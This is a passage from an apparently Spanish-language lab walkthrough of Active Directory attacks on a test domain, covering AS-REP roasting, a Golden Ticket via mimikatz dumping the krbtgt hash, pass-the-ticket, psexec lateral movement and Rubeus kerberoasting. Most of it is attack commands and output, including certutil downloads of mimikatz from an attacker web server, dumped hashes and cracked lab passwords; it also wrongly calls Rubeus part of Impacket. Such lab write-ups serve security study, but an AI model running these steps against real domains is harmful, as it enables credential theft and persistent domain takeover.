Hemos conseguido descifrar el hash y ahora tenemos la contraseña en texto plano Mypassword123#. Veamos con CrackMapExec si el usuario tiene privilegios de administrador:

1
2
3
4
5
6
7
❯ cme smb 192.168.0.1/24 -u svc_sql -p 'Mypassword123#'
SMB         192.168.10.115   445    W2-PC  [*] Windows 10.0 Build 17763 x64 (name:W2-PC) (domain:waidroc.local) (signing:True) (SMBv1:False)
SMB         192.168.10.110   445    W1-PC        [*] Windows 10.0 Build 19041 x64 (name:W1-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.115   445    W2-PC  [+] waidroc.local\svc_sql:Mypassword123# (Pwn3d!)
SMB         192.168.10.110   445    W1-PC        [+] waidroc.local\svc_sql:Mypassword123# (Pwn3d!)
SMB         192.168.10.120   445    W3-PC        [*] Windows 10.0 Build 19041 x64 (name:W3-PC) (domain:waidroc.local) (signing:False) (SMBv1:False)
SMB         192.168.10.120   445    W3-PC        [+] waidroc.local\svc_sql:Mypassword123# (Pwn3d!)

El usuario svc_sql es administrador en el DC!

AS-REP Roast


Este tipo de ataque consta en buscar usuarios sin requirir Kerberos pre-auth. Esto quiere decir que podemos enviar una petición AS_REQ al dominio waidroc.local con una lista de usuarios, recibiendo así del servidor una respuesta AS_REP. Esta respuesta contiene un hash con las credenciales de los usuarios que había en la lista.

De igual forma que los anteriores ataques, obtendríamos los hashes para posteriormente, crackearlos e intentar tener las credenciales en texto plano.

Vamos a crear la lista de usuarios, enumerándolos con la herramienta rpcclient, estando autenticados como usuario:

1
2
3
4
5
6
7
8
9
10
❯ rpcclient -U 'waidroc.local\usuario%Password2' 192.168.10.115 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > userscat users
   1   │ Administrator
   2   │ Guest
   3   │ krbtgt
   4   │ cordy
   5   │ usuario
   6   │ mrincognito
   7   │ svc_sql

Ahora, usemos impacket-GetNPUsers, usando como diccionario de usuarios la lista anteriormente creada:

1
2
3
4
5
6
7
8
9
10
❯ impacket-GetNPUsers waidroc.local/ -no-pass -usersfile users
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User cordy doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$usuario@waidroc.LOCAL:bf1356b316a8cc98ef0f70e0f2028e51$7a4020b832ea1841526e941a86df02799a70cd8e1388451a003ce5cacf37e0bb273aa316635c955818050780b0934d4866a324f98099c3b1fccdabc856379c1dfe8481c5e197fcc2edaecff13bc8963ec851a1cb27c43418dba35d11e45f3545f4cb6f617f461225e047093df563f76791cb902cdad18d1e1051512ddf71b63321bd766581c6992eb88034038de2573a780a14cd1317e1b9a6e510a6ffeb519ae61acb824b16b4cc82abb0b593ee97d304623970a655854bd51b3bf42dcddcc0cf148344e77ff05a2f4efc1dbc232cac5fd7d2c6d862036f2917d0cc1074af7a20eef01fa9e29d290e5900becca7f172
[-] User mrincognito doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set

Podemos ver que usuario es vulnerable a este tipo de ataques, ya que no necesita una pre-autenticación con Kerberos (is not set).

Vamos a intentar crackear este hash obtenido:

1
2
3
4
5
6
7
8
9
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password2        ($krb5asrep$23$usuario@waidroc.LOCAL)     
1g 0:00:00:00 DONE (2023-05-25 20:06) 10.00g/s 542720p/s 542720c/s 542720C/s soydivina..250984
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Hemos obtenido la credencial! usuario:Password2.

Golden Ticket Attack


GOLDENTICKET

Para este tipo de ataque, nosotros como atacantes tendríamos que explotar el sistema de autenticación de tickets Kerberos, que se utiliza comúnmente en entornos de redes corporativas. Crearíamos un ticket falso con un período de validez extremadamente largo, conocido como Golden Ticket. Para generar este ticket forjado, necesitaríamos acceso a la clave de cifrado de la cuenta de dominio, también conocida como “clave maestra de cuenta de dominio” o “clave de cifrado de dominio”. Esta clave se puede obtener comprometiendo un controlador de dominio de Windows y extrayéndola de la memoria del sistema.

Una vez que hayamos creado exitosamente el “Golden Ticket”, podemos utilizarlo para autenticarnos dentro del sistema Kerberos sin necesidad de credenciales de usuario legítimas. Este ataque nos otorgaría acceso completo y privilegios de administrador en la red comprometida.

GOLDENTICKETW

Realizaremos este ataque con las siguientes herramientas:

  • Ticketer
  • Rubeus
  • Bloodhound
  • neo4j
  • Mimikatz

Method 1: .kirbi file


Lo primero de todo, nos conectmos al sistema con psexec.py o evil-winrm. En este caso, nos conectaremos con mrincognito:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ psexec.py waidroc.local/mrincognito:Password123@192.168.10.115 cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.10.115.....
[*] Found writable share ADMIN$
[*] Uploading file rUVzgArK.exe
[*] Opening SVCManager on 192.168.10.115.....
[*] Creating service DRyl on 192.168.10.115.....
[*] Starting service DRyl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Windows\Temp

C:\Windows\Temp> mkdir GDTicket

C:\Windows\Temp> cd GDTicket

C:\Windows\Temp\GDTicket> 

Ahora, nos pasaremos mimikatz desde nuestra máquina atacante al host víctima al cual acabamos de ralizar la conexión:

1
2
3
4
5
6
7
8
❯ locate mimikatz.exe
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

❯ cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .

❯ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

En la máquina víctima, nos descargamos el fichero gracias al servidor web que acabamos de crear:

1
2
3
4
5
6
7
C:\Windows\Temp\GDTicket> certutil.exe -urlcache -f -split http://192.168.0.106:8080/mimikatz.exe
****  Online  ****
  000000  ...
  14ae00
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp\GDTicket> 

Ahora, tenemos la herramienta mimikatz.exe en la víctima.

1
2
3
4
5
6
7
C:\Windows\Temp\GDTicket> ls

C:\Windows\Temp\GDTicket

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        8/25/2023  13:47 AM        1355264 mimikatz.exe 

Ejecutamos mimikatz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
c:\Users\mrincognito\Documents> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : waidroc / S-1-5-21-1320512025-754860945-2616689224

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : acf2d0133c0db165efbca5b44072e10a
    LM   : 
  Hash NTLM: acf2d0133c0db165efbca5b44072e10a
    ntlm- 0: acf2d0133c0db165efbca5b44072e10a
    lm  - 0: 7c43f505c7c846fd717111b40314bed9

 * WDigest
    01  becd6e5b902001e4311b7bdbfc616031
    02  7587f91c21753f6fbe9eb8b8da365e6b
    03  71d8c305785dc975c00293292408192d
    04  becd6e5b902001e4311b7bdbfc616031
    05  7587f91c21753f6fbe9eb8b8da365e6b
    06  8979ba2d3ed2899b51e913dbf0589aa0
    07  becd6e5b902001e4311b7bdbfc616031
    08  aa5360f6ebc9404ec9467eee12cff14f
    09  aa5360f6ebc9404ec9467eee12cff14f
    10  6cae5c036d13230cc1c4e9475458b2c2
    11  f8c169dbb3cd7fe2e9ca3b40496234d9
    12  aa5360f6ebc9404ec9467eee12cff14f
    13  a1c5d888375231016315508851f5fa22
    14  f8c169dbb3cd7fe2e9ca3b40496234d9
    15  cabd6d44d9d044557f2a70876b33ddd2
    16  cabd6d44d9d044557f2a70876b33ddd2
    17  fd87e62f461e64a2eac2f0407d6303d1
    18  da9e6811c137a7879777a7edd60ef7e2
    19  400a9a0b7f78941171b49dcc80565631
    20  11cc87b72975c480ca7878f24afb9a0a
    21  583a2c5907503eac51c296a449e6babd
    22  583a2c5907503eac51c296a449e6babd
    23  1eec8adf97193c62284290a9047eb4c2
    24  f647307f7fc269babc29ed18c4345395
    25  f647307f7fc269babc29ed18c4345395
    26  2a3eec21d946168baf578861e808c48f
    27  483f4565111d3a09f4d782cb45ab8e88
    28  b5485e3d693914153709f0be58292012
    29  d5ed6cf3ae96c0e19ed63e48d3d069b4

 * Kerberos
    Default Salt : waidroc.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 08232331ec589885

 * Kerberos-Newer-Keys
    Default Salt : waidroc.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : e890d33a55364e1c8c745308026e6703196558965d334fdd10f51ad8cf597a8d
      aes128_hmac       (4096) : ea6d7106e9a6b25147f1eed37ce4fe9e
      des_cbc_md5       (4096) : 08232331ec589885

 * NTLM-Strong-NTOWF
    Random Value : b6ed8da91bfbf1ea3ff3314d069ebb1c
mimikatz #

Guardamos lo que nos reporta.

Ahora, le introducimos los siguientes parámetros para crear el Golden Ticket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mimikatz # kerberos::golden /domain:waidroc.local /sid:S-1-5-21-1320512025-754860945-2616689224 /rc4:acf2d0133c0db165efbca5b44072e10a /user:Administrator /ticket:golden.kirbi
User      : Administrator
Domain    : waidroc.local (waidroc)
SID       : S-1-5-21-1320512025-754860945-2616689224
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: acf2d0133c0db165efbca5b44072e10a - rc4_hmac_nt      
Lifetime  : 5/25/2023 11:54:50 AM ; 5/22/2033 11:54:50 AM ; 5/22/2033 11:54:50 AM
-> Ticket : golden.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Explicación de los parámetros utilizados:

  • /domain DC Domain
  • /sid KRBGT user ID
  • /rc4 NTLM hash
  • /user El usuario que queremos suplantar
  • /ticket El nombre del ticket

Con esto, habremos generado un fichero .kirbi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c:\Users\mrincognito\Documents> dir
 Volume in drive C has no label.
 Volume Serial Number is FE91-24FB

 Directory of c:\Users\mrincognito\Documents

05/25/2023  11:54 AM    <DIR>          .
05/25/2023  11:54 AM    <DIR>          ..
05/25/2023  11:54 AM             1,409 golden.kirbi
05/25/2023  11:39 AM         1,250,056 mimikatz.exe
               3 File(s)      1,255,734 bytes
               2 Dir(s)  13,660,475,392 bytes free

c:\Users\mrincognito\Documents> 

Ahora, necesitaremos tener el fichero .kirbi en nuestra máquina atacante. Nos transferimos el fichero de la siguiente manera:

1
2
3
4
5
6
C:\users\mrincognito\documents> download golden.kirbi
Info: Downloading golden.kirbi to ./golden.kirbi
                                                       
Info: Download successful!

C:\users\mrincognito\documents> 

Ahora tendremos el fichero en nuestra máquina atacante. El siguiente paso será conectarse, por ejemplo, a la máquina de cordy. Somos administradores del dominio, por lo que podemos poner la dirección IP que deseamos y conectarnos exitosamente:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ psexec.py waidroc.local/Administrator:P@\$\$w0rd\!@192.168.10.120 cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.10.120.....
[*] Found writable share ADMIN$
[*] Uploading file Rplbrtld.exe
[*] Opening SVCManager on 192.168.10.120.....
[*] Creating service zlVv on 192.168.10.120.....
[*] Starting service zlVv.....
[!] Press help for extra shell commands
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32>

Si intentamos listar los ficheros que hay en C$ como el usuario cordy (W2-PC), obtendremos un mensaje de Access denied:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\Windows\Temp\test> dir \\W2-PC\C$
dir \\W2-PC\C$
dir : Acceso denegado
En lnea: 1 Carcter: 1
+ dir \\W2-PC\C$
+ ~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\W2-PC\C$:String) [Get-ChildItem], UnauthorizedAccessExcep 
   tion
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 
dir : No se encuentra la ruta de acceso '\\W2-PC\C$' porque no existe.
En lnea: 1 Carcter: 1
+ dir \\W2-PC\C$
+ ~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\W2-PC\C$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
 
PS C:\Windows\Temp\test> 

Aquí es cuando usaremos el Golden Ticket generado (fichero .kirbi). Vamos a movernos al directorio temporal (C:\Windows\Temp\). Necesitaremos descargar mimikatz y el golden.kirbi al W2-PC del usuario cordy:

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Windows\Temp\test> certutil.exe -urlcache -f -split http://192.168.0.106:8080/mimikatz.exe
certutil.exe -urlcache -f -split http://192.168.0.106:8080/mimikatz.exe
****  En lnea  ****
  000000  ...
  14ae00
CertUtil: -URLCache comando completado correctamente.
PS C:\Windows\Temp\test> certutil.exe -urlcache -f -split http://192.168.0.106:8080/golden.kirbi
certutil.exe -urlcache -f -split http://192.168.0.106:8080/golden.kirbi
****  En lnea  ****
  0000  ...
  0581
CertUtil: -URLCache comando completado correctamente.
PS C:\Windows\Temp\test> 

Al fin, vamos a realizar el ataque pass the ticket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\Windows\Temp\test> ./mimikatz.exe
./mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # kerberos::ptt golden.kirbi

* File: 'golden.kirbi': OK

mimikatz # exit
Bye!
PS C:\Windows\Temp\test> dir \\192.168.10.115\c$
dir \\192.168.10.115\c$


    Directory: \\192.168.10.115\c$


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        11/5/2022  11:21 AM                PerfLogs                                                              
d-r---        5/23/2023   8:46 AM                Program Files                                                         
d-----        5/23/2023   8:46 AM                Program Files (x86)                                                   
d-r---        5/25/2023   8:37 AM                Users                                                                 
d-----        5/26/2023   8:49 AM                Windows                                                               


PS C:\Windows\Temp\test> 

El ataque se ha hecho satisfactoriamente!

Method 2: .ccache file


Para este método, vamos a usar la famosa herramienta llamada ticketer. Ésta, nos permitirá ganar acceso al DC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ticketer.py -nthash acf2d0133c0db165efbca5b44072e10a -domain-sid S-1-5-21-1320512025-754860945-2616689224 -domain waidroc.local Administrator
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for waidroc.local/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in Administrator.ccache

Al usar estos parámetros, nos autenticará con el usuario krbtgt y solicitará un archivo .ccache de la caché del Administrador:

1
2
ls
Administrator.ccache  golden.kirbi  mimikatz.exe  report

Para tener persistencia permanente en este Controlador de Dominio, necesitamos exportar una variable del sistema llamada KRB5CCNAME igual al archivo .ccache:

1
export KRB5CCNAME="/home/waidroc/Escritorio/ActiveDirectory/GoldenTicket/Administrator.ccache"

Comprobamos que la variable se ha exportado correctamente:

1
2
ls -l $KRB5CCNAME
-rw-r--r-- 1 root root 1185 may 26 18:05 /home/waidroc/Escritorio/ActiveDirectory/GoldenTicket/Administrator.ccache

Modificamos el fichero de configuración krb5.conf, indicandole el .ccache.

Hecho esto, podremos acceder al DC sin ningún tipo de credencial.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ psexec.py -n -k waidroc.local/Administrator@W2-PC cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 192.168.10.115.....
[*] Found writable share ADMIN$
[*] Uploading file AouVevOZ.exe
[*] Opening SVCManager on 192.168.10.115.....
[*] Creating service ehpS on 192.168.10.115.....
[*] Starting service ehpS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> 

Debemos de tener muy en cuenta que, aunque el Administrador cambie su contreña, no importa. Tendremos acceso total y persistente en el Controlador de Dominio.

Rubeus - Kerberoasting


Rubeus

La diferencia entre el Kerberoasting regular y el Kerberoasting de Rubeus radica en las herramientas utilizadas para llevar a cabo el ataque y las características adicionales proporcionadas por Rubeus.

El Kerberoasting regular generalmente se refiere a la técnica o concepto general de explotar la vulnerabilidad en Kerberos para extraer y descifrar las contraseñas de cuentas de servicio. Implica identificar cuentas de servicio, solicitar tickets de servicio (TGS) para esas cuentas y descifrar offline los tickets de servicio cifrados para obtener las contraseñas en texto plano. El Kerberoasting regular se puede realizar utilizando diversas herramientas y scripts, o incluso manualmente.

Por otro lado, Rubeus es una herramienta específica desarrollada por Harmj0y como parte del framework Impacket. Rubeus está diseñado para ayudar en varios ataques relacionados con Kerberos, incluido el Kerberoasting. Proporciona funcionalidades y características adicionales específicamente destinadas a simplificar y automatizar el proceso de Kerberoasting. Algunas diferencias y ventajas notables del Kerberoasting de Rubeus incluyen:

  • Funcionalidad mejorada: Rubeus ofrece funcionalidad integrada para enumerar cuentas de servicio, solicitar tickets de servicio y realizar descifrado offline. Simplifica los pasos involucrados en el proceso de ataque de Kerberoasting.

  • Ataques de diccionario y fuerza bruta: Rubeus admite métodos de descifrado de contraseñas basados en diccionario y fuerza bruta contra los tickets de servicio cifrados. Proporciona opciones para especificar listas de palabras personalizadas y reglas de complejidad de contraseñas.

  • Opciones de filtrado: Rubeus permite filtrar las cuentas de servicio en función de varios criterios, como el nombre del SPN, el nombre de la cuenta o grupos de usuarios específicos. Esto permite ataques de Kerberoasting más dirigidos y eficientes.

  • Automatización y scripting: Rubeus se puede utilizar en scripts y automatizar, lo que permite el procesamiento por lotes de múltiples cuentas de servicio. Esto puede ser especialmente útil al tratar con un gran número de cuentas de servicio en el dominio.

  • Características extendidas: Rubeus ofrece características adicionales más allá del Kerberoasting, como obtención de tickets, ataques pass-the-ticket y generación de Golden Tickets. Estas características hacen de Rubeus una herramienta versátil para varios ataques relacionados con Kerberos.

En resumen, mientras que el Kerberoasting regular se refiere a la técnica general de explotar vulnerabilidades en Kerberos para descifrar contraseñas de cuentas de servicio, el Kerberoasting de Rubeus se refiere específicamente al uso de la herramienta Rubeus para automatizar y simplificar el proceso de Kerberoasting al tiempo que proporciona características adicionales y flexibilidad.

Prueba de concepto (PoC)


Lo primero, es localizar Rubeus en nuestro sistema y moverlo a nuestro directorio de trabajo:

1
2
3
4
5
6
7
8
9
❯ locate Rubeus
/home/waidroc/Escritorio/Rubeus-1.6.4.zip
/home/waidroc/Escritorio/Rubeus.exe

❯ mv /home/waidroc/Escritorio/Rubeus.exe .ls
192.168.10.120_samhashes.sam  BloodHound-linux-x64  document.pdf  hash     Invoke-RunasCs.ps1  mimikatz  nc.exe         PDF-Icon.ico  PS.ps1             rpcenum.sh  target   users
ADCSTemplate.psm1            Certify               GoldenTicket  ico.png  kerbrute            mitm6     ntlmrelayx.py  PDF-Icon.png  Reverse-Shell.ps1  Rubeus.exe  targets

Si no tienes la herramienta, puedes descargarla directamente clicando aquí.

Después. subimos Rubeus al DC:

1
2
3
4
5
6
7
PS C:\Windows\Temp> certutil.exe -urlcache -f -split http://192.168.10.106/Rubeus.exe
certutil.exe -urlcache -f -split http://192.168.10.106/Rubeus.exe
****  Online  ****
  000000  ...
  06d200
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp> 

Si miramos el manual, es demasiado extenso y tiene muchísimos parámetros con diversas funcionalidades. En este caso, vamos a centrarnos en la función kerberoast:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
PS C:\Windows\Temp> ./Rubeus.exe kerberoast /creduser:waidroc.local\usuario /credpassword:Password2
./Rubeus.exe kerberoast /creduser:waidroc.local\usuario /credpassword:Password2

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : waidroc.local
[*] Searching path 'LDAP://W2-PC.waidroc.local/DC=waidroc,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 1


[*] SamAccountName         : svc_sql
[*] DistinguishedName      : CN=SVC_SQLService,CN=Users,DC=waidroc,DC=local
[*] ServicePrincipalName   : waidroc.local/svc_sql.W2-PC
[*] PwdLastSet             : 5/25/2023 9:25:04 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*svc_sql$waidroc.local$waidroc.local/svc_sql.W2-PC@waidroc
                             4ft.local*$95D51059FE38B26D45E19223C1CBDCEE$1EF269B1BEC6C04EB4C1C514C99A7781EBF7
                             4D909F37EEC43B52DEE98791EC3212B4E1D057C728934BE57A9C2675A83053734D09DE09E5E2AD89
                             BAAFE6FB8BA56E4919DD4BC3C499E5697D919DAE0BA9994389A5878EDAADE70CE86E883E5AEAF0D2
                             5DB3AB04E05E760353089D13587992D2A347CF7DE9B4FA1E00AFE26A63A2F251D08ECA0737426633
                             F699C64209A00AC936873734E33765B87FE31DC6DF711E9F8A822BB3550B70C75B03E6E5905B2B60
                             18E3652ED4E5448605291AED8821BCC12B76D8A55BC38B2DA00ECF5CFD290D3D3AA078C16B171C4C
                             A1410B42D04833D9805D795F44AFED44FFA2B79B87AAB312AF9C9E194C0E4CFA13E8E3D2A4B0969D
                             15ED41A8457608F3AD41B324E8359DE4EAC32BAB486EA0EF7167E7082D3FF197C718FB2D1514E04F
                             46A57091EC302B698CBCB8007A1987C2477698954CD505F7B77438D0D62D2F7319548D7C7A5234A4
                             493DAA030DEFC392874DCB1AA3CF1193B9F9E5B1A67188E21AE63373FF08BBB109C24A504B638AC5
                             6ECAAE2232C08BC2E94C222B5B569E30B57AD7D06D1CCCE4BF1DB5156EA3954EE0FD4EF7B837887C
                             E94A82154448D066EF29F160B93FBAD34324D342C5A938B39ED6868A1BE48D60F54EA7217835CCE5
                             C52D6C7A4A3149C79DD20EFE81ADBF895174C45507AE27D7C07C917DC8FAB4C11C0AF07C08D4B95F
                             3698890B92A3161E6960CA7F3B9F97A130DF94F442A016153FB42BE5423B38B379BF7AEAD3A98EFA
                             D465840B1C2CEAA61D3BD563F6FD3F4FA64AF64EA69D0339D0990EBA47ECA6B0A2DF83039BD265BE
                             28EBDF10FD61F290D89FFBFD1C5634E9BFB25404C6146D456631CDF1F528C8807B2866A434FFADFE
                             F91B6199095B01A254F05B698ED470A5CFDA01019A6F7978F3A2FC0213D6B84F0F799AAC6D7784A0
                             1BE0DA8B16B34F6A9E98A1265BDA3C59566800E3AB9809C60ABA77EF0B3E45137D875F2976203AD0
                             83B6BAC7F5A612EA35AC98876749FCBF2C197093F4A845D69F943E82E305AF1E2DFAE0EB66A87799
                             EB0E66CAB1CBB20C8173772F0302672077CF2891F1C5D136AF239DF8CF041C607AA758AC5CA7D687
                             FA3326EA4E909424B7B7F03DEB11D78E13AF0868ABE8736E54712F6F95D5FCCE74C12662C9F7F215
                             BB770F753506F622541C7174FC283904C6AFD93EEF36DAA0BB7F3598FA6598B8C0E28041454129AA
                             8DCE8B2BAD2EA9D803004DA73FF0EB35C38532F57246D735337CE32F8D734F3D4A3CE322D51A95AB
                             121A93C4759FD45D9F5384EFCF95E1D724249029747D31A80A5141DAC1DDFD6C11290F086348FA96
                             C0ACD76A44D5CE1E0A1C42CA714F5E1D50666B737A7637D3EAA5AF59F847E1C68F82D3E68A82E7CC
                             D5E1AA3CDFB72CFB773CA6417533A3436FC57FC956586E6C8C9A3992EDA8C68D1882ACC8B1FF8233
                             6EF9DBCC8D3231CE3C8D587363DFC2A0223779FD7AE12E21C57F012B36CD8E37BADD62984B9A060F
                             382DE52702BE46734D77811D13741DF6DBC6B515AD4A1891A5D972EC1B0449CFDCF1667B717C1BA0
                             9D46D120B34E1E56FF8C45AEE167222C675ADCDF9B5E6F1535EFA69E25184D28BEE173CD149CFC8F
                             E81DD142F5A4913371694D0AFDD98C74A03CC5B2BE0BC4E8B8EDFB9CC27BB41CCDA355F1898206CA
                             1B

PS C:\Windows\Temp> 

Al igual que en el kerberoasting tradicional, podemos usar cualquier credencial mientras sea válida. Por último, intentaríamos crackear alguna credencial reportada con john.

Rubeus - AS-REP Roast


El ataque AS-REP Roast es una técnica utilizada para extraer mensajes AS-REP (Respuesta del Servicio de Autenticación) cifrados de un controlador de dominio en un entorno de Windows Active Directory. Este ataque se dirige a cuentas de usuario que tienen habilitada la bandera “No requerir preautenticación Kerberos”, lo que permite la extracción del mensaje AS-REP cifrado y su posterior descifrado offline.

La principal diferencia entre un ataque AS-REP Roast regular y un ataque AS-REP Roast utilizando Rubeus radica en las herramientas utilizadas y las características adicionales proporcionadas por Rubeus.

En un ataque AS-REP Roast regular, normalmente se utilizan métodos manuales o scripts personalizados para identificar cuentas de usuario con la bandera de preautenticación deshabilitada, extraer los mensajes AS-REP y tratar de descifrarlos utilizando técnicas offline como ataques de diccionario o fuerza bruta.

Por otro lado, Rubeus es una herramienta dentro del framework Impacket diseñada específicamente para automatizar y simplificar ataques relacionados con Kerberos. Ofrece funcionalidades para realizar ataques AS-REP Roast y presenta varias ventajas:

  • Automatización del ataque AS-REP Roast: Rubeus agiliza el proceso de ataque AS-REP Roast al automatizar la extracción de mensajes AS-REP desde el controlador de dominio.

  • Funcionalidad mejorada: Rubeus ofrece características adicionales más allá del ataque AS-REP Roast, como la capacidad de solicitar y extraer tickets TGT (Ticket Granting Ticket), manipular tickets Kerberos, realizar ataques pass-the-ticket y más.

  • Formatos de salida flexibles: Rubeus ofrece opciones para mostrar los mensajes AS-REP extraídos en varios formatos, facilitando el procesamiento y análisis de los resultados.

  • Técnicas adicionales de ataque: Rubeus incluye otras técnicas de ataque relacionadas con Kerberos, como Kerberoasting, ataques de Golden Ticket y ataques de Silver Ticket, permitiendo una variedad más amplia de escenarios de ataque.

En resumen, aunque tanto los ataques AS-REP Roast regulares como los ataques AS-REP Roast utilizando Rubeus apuntan a la misma vulnerabilidad, Rubeus proporciona un enfoque más ágil y rico en características para automatizar el proceso de ataque, extraer mensajes AS-REP y realizar técnicas adicionales de ataque relacionadas con Kerberos.

PoC


El procedimiento es igual que hemos hecho anteriormente: subimos Rubeus y ejecutamos el siguiente comando:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PS C:\Windows\Temp> ./Rubeus.exe asreproast /user:mrincognito /domain:waidroc.local /dc:W2-PC
./Rubeus.exe asreproast /user:mrincognito /domain:waidroc.local /dc:W2-PC

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: AS-REP roasting

[*] Target User            : mrincognito
[*] Target Domain          : waidroc.local
[*] Target DC              : W2-PC

[*] Using domain controller: W2-PC (fe80::1e2e:ac4a:2102:569f%5)
